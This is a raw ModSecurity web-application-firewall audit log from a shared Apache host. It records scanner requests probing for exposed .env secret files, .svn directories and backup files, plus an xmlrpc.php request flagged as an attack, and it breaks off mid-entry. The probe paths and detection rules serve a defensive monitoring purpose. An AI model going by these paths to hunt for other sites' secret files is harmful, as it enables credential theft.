-) Stopwatch2: 1750032914814110 1021459; combined=2469, p1=468, p2=1548, p3=53, p4=74, p5=206, sr=117, sw=120, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --7964295a-Z-- --0605ee71-A-- [16/Jun/2025:05:45:21.862864 +0530] aE9iGdVsbyFDndheOrkzNQAAAAE 185.177.72.210 43746 127.0.0.1 7081 --0605ee71-B-- GET /:10000/.env.1 HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --0605ee71-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=d2110810d50f52335175da2eaa2ff1a61750032921; expires=Mon, 16 Jun 2025 01:15:21 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --0605ee71-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:10000/.env.1"] [unique_id "aE9iGdVsbyFDndheOrkzNQAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750032921201586 661356 (- - -) Stopwatch2: 1750032921201586 661356; combined=2079, p1=454, p2=1527, p3=0, p4=0, p5=97, sr=105, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --0605ee71-Z-- --a59eef24-A-- [16/Jun/2025:05:45:22.840528 +0530] aE9iGj_3U3BzRxhKqeknxQAAAAM 185.177.72.210 43780 127.0.0.1 7081 --a59eef24-B-- GET /:5000/examples/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --a59eef24-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=69998ae927e131ffd27152983e785c181750032922; expires=Mon, 16 Jun 2025 01:15:22 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --a59eef24-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5000/examples/.env"] [unique_id "aE9iGj_3U3BzRxhKqeknxQAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750032922181997 658594 (- - -) Stopwatch2: 1750032922181997 658594; combined=1708, p1=358, p2=1226, p3=0, p4=0, p5=123, sr=82, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --a59eef24-Z-- --d4ddf45a-A-- [16/Jun/2025:05:45:32.516062 +0530] aE9iI6pdvXW4_hknQUUzYQAAAAo 185.177.72.210 37108 127.0.0.1 7081 --d4ddf45a-B-- GET /:9000/front-empathy/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --d4ddf45a-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=3ae26cb1618c4bcf4e6bbbfbf0dbd9891750032932; expires=Mon, 16 Jun 2025 01:15:32 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --d4ddf45a-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:9000/front-empathy/.env"] [unique_id "aE9iI6pdvXW4_hknQUUzYQAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750032931849132 667006 (- - -) Stopwatch2: 1750032931849132 667006; combined=2027, p1=386, p2=1531, p3=0, p4=0, p5=109, sr=95, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --d4ddf45a-Z-- --eae0ee37-A-- [16/Jun/2025:05:45:36.498140 +0530] aE9iJ9VsbyFDndheOrkzPAAAAAE 185.177.72.210 37238 127.0.0.1 7081 --eae0ee37-B-- GET /:5601/.env_1 HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --eae0ee37-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=1f3185bc44834f45b250815bd927785b1750032936; expires=Mon, 16 Jun 2025 01:15:36 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --eae0ee37-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5601/.env_1"] [unique_id "aE9iJ9VsbyFDndheOrkzPAAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750032935815118 683084 (- - -) Stopwatch2: 1750032935815118 683084; combined=1988, p1=360, p2=1540, p3=0, p4=0, p5=87, sr=90, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --eae0ee37-Z-- --9b07f679-A-- [16/Jun/2025:05:45:41.671522 +0530] aE9iLapdvXW4_hknQUUzZgAAAAo 185.177.72.210 58946 127.0.0.1 7081 --9b07f679-B-- GET /config/.svn/ HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --9b07f679-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=f62f4a7e3c1ce7bb8393d4223aec72851750032941; expires=Mon, 16 Jun 2025 01:15:41 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --9b07f679-H-- Message: Warning. Matched phrase "/.svn/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.svn/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/config/.svn/"] [unique_id "aE9iLapdvXW4_hknQUUzZgAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750032941005426 666160 (- - -) Stopwatch2: 1750032941005426 666160; combined=1741, p1=406, p2=1230, p3=0, p4=0, p5=104, sr=115, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --9b07f679-Z-- --55fac736-A-- [16/Jun/2025:05:45:42.569961 +0530] aE9iLQ9THibLN0xLxETuXQAAAAk 66.249.72.129 58980 127.0.0.1 7081 --55fac736-B-- POST /?ob=open-bridge/events HTTP/1.0 Host: www.retaxis.com X-Real-IP: 66.249.72.129 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 362 Accept-Language: en-US Content-Type: text/plain;charset=UTF-8 Cookie: _sfs_id=0e521dd90f66693a9bf90a93dacc88a11750032935; _fbp=fb.1.1750032000056.919341929740069622 Origin: https://www.retaxis.com Referer: https://www.retaxis.com/ Accept: */* From: googlebot(at)googlebot.com User-Agent: Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.7103.113 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) Accept-Encoding: gzip, deflate, br --55fac736-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.2.28 Vary: Origin,Accept-Encoding Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Access-Control-Allow-Origin: https://www.retaxis.com Access-Control-Allow-Credentials: true Access-Control-Max-Age: 86400 Set-Cookie: PHPSESSID=o3tsjasc9ehf83mt2kefbis8jd; expires=Sun, 14 Sep 2025 00:15:42 GMT; Max-Age=7776000; path=/; domain=www.retaxis.com; HttpOnly; SameSite=lax Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8 --55fac736-E-- --55fac736-H-- Message: Warning. Match of "pmFromFile userdata_wl_content_type" against "TX:0" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "17"] [id "210710"] [rev "5"] [msg "COMODO WAF: Request content type is not allowed by policy. Please update file userdata_wl_content_type.||www.retaxis.com|F|2"] [data "TX:0=text/plain"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Message: Warning. Operator GE matched 5 at TX:incoming_points. [file "/etc/apache2/modsecurity.d/rules/comodo_free/20_Outgoing_FiltersEnd.conf"] [line "35"] [id "214930"] [rev "1"] [msg "COMODO WAF: Inbound Points Exceeded|Total Incoming Points: 5|www.retaxis.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "FiltersEnd"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_content_type" against "TX:0" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "17"] [id "210710"] [rev "5"] [msg "COMODO WAF: Request content type is not allowed by policy. Please update file userdata_wl_content_type.||www.retaxis.com|F|2"] [data "TX:0=text/plain"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.retaxis.com"] [uri "/"] [unique_id "aE9iLQ9THibLN0xLxETuXQAAAAk"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator GE matched 5 at TX:incoming_points. [file "/etc/apache2/modsecurity.d/rules/comodo_free/20_Outgoing_FiltersEnd.conf"] [line "35"] [id "214930"] [rev "1"] [msg "COMODO WAF: Inbound Points Exceeded|Total Incoming Points: 5|www.retaxis.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "FiltersEnd"] [hostname "www.retaxis.com"] [uri "/index.php"] [unique_id "aE9iLQ9THibLN0xLxETuXQAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/retaxis.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750032941365566 1204556 (- - -) Stopwatch2: 1750032941365566 1204556; combined=3165, p1=446, p2=2322, p3=152, p4=50, p5=195, sr=97, sw=0, l=0, gc=0 Response-Body-Transformed: Dechunked Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --55fac736-Z-- --677fe725-A-- [16/Jun/2025:05:45:51.517717 +0530] aE9iNqpdvXW4_hknQUUzagAAAAo 185.177.72.210 42302 127.0.0.1 7081 --677fe725-B-- GET /Mkfile.old HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --677fe725-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=91599154a9d7cc4c24951113f4f03c531750032951; expires=Mon, 16 Jun 2025 01:15:51 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --677fe725-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".old"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".old"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/Mkfile.old"] [unique_id "aE9iNqpdvXW4_hknQUUzagAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750032950780340 737454 (- - -) Stopwatch2: 1750032950780340 737454; combined=2532, p1=393, p2=2021, p3=0, p4=0, p5=117, sr=106, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --677fe725-Z-- --efc95601-A-- [16/Jun/2025:05:45:55.569958 +0530] aE9iOqpdvXW4_hknQUUzbAAAAAo 185.177.72.210 42506 127.0.0.1 7081 --efc95601-B-- GET /:8008/storage/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --efc95601-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=1caddffda7fc09dfe192ad4bf5c7d4221750032955; expires=Mon, 16 Jun 2025 01:15:55 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --efc95601-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8008/storage/.env"] [unique_id "aE9iOqpdvXW4_hknQUUzbAAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750032954864924 705130 (- - -) Stopwatch2: 1750032954864924 705130; combined=1991, p1=394, p2=1494, p3=0, p4=0, p5=102, sr=102, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --efc95601-Z-- --5513ef0c-A-- [16/Jun/2025:05:45:59.906527 +0530] aE9iP9VsbyFDndheOrkzRQAAAAE 185.177.72.210 42698 127.0.0.1 7081 --5513ef0c-B-- GET /:10000/configurationtion/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --5513ef0c-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=c129a40be34dcc871be1f502940a24031750032959; expires=Mon, 16 Jun 2025 01:15:59 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --5513ef0c-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:10000/configurationtion/.env"] [unique_id "aE9iP9VsbyFDndheOrkzRQAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750032959218688 687912 (- - -) Stopwatch2: 1750032959218688 687912; combined=2013, p1=407, p2=1508, p3=0, p4=0, p5=97, sr=119, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --5513ef0c-Z-- --003d1713-A-- [16/Jun/2025:05:46:02.102730 +0530] aE9iQfthHqQhfrOWofuM2QAAAAA 185.177.72.210 33138 127.0.0.1 7081 --003d1713-B-- GET /:10000/example/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --003d1713-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=b9c87b0483f9b38618dae75ea903bbff1750032961; expires=Mon, 16 Jun 2025 01:16:01 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --003d1713-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:10000/example/.env"] [unique_id "aE9iQfthHqQhfrOWofuM2QAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750032961349262 753541 (- - -) Stopwatch2: 1750032961349262 753541; combined=2099, p1=395, p2=1594, p3=0, p4=0, p5=109, sr=95, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --003d1713-Z-- --38baf561-A-- [16/Jun/2025:05:46:10.306072 +0530] aE9iSfbo0R64L12N_alTCQAAAAQ 185.177.72.210 54172 127.0.0.1 7081 --38baf561-B-- GET /:8080/.env.1 HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --38baf561-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=db5fb32e19a86c6ef9bf35e679ff7f021750032970; expires=Mon, 16 Jun 2025 01:16:10 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --38baf561-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8080/.env.1"] [unique_id "aE9iSfbo0R64L12N_alTCQAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750032969617257 688907 (- - -) Stopwatch2: 1750032969617257 688907; combined=2181, p1=401, p2=1672, p3=0, p4=0, p5=107, sr=92, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --38baf561-Z-- --4013232a-A-- [16/Jun/2025:05:46:15.125325 +0530] aE9iTqpdvXW4_hknQUUzdAAAAAo 128.199.112.101 54326 127.0.0.1 7081 --4013232a-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 502 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --4013232a-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --4013232a-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9iTqpdvXW4_hknQUUzdAAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750032974188413 936968 (- - -) Stopwatch2: 1750032974188413 936968; combined=2443, p1=375, p2=1635, p3=42, p4=61, p5=202, sr=99, sw=128, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --4013232a-Z-- --d528255e-A-- [16/Jun/2025:05:46:15.698116 +0530] aE9iT_bo0R64L12N_alTCwAAAAQ 185.177.72.210 54350 127.0.0.1 7081 --d528255e-B-- GET /:8443/database/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --d528255e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=ecd31dcf5b4212f9fb5e4a214fd1fd191750032975; expires=Mon, 16 Jun 2025 01:16:15 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --d528255e-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file 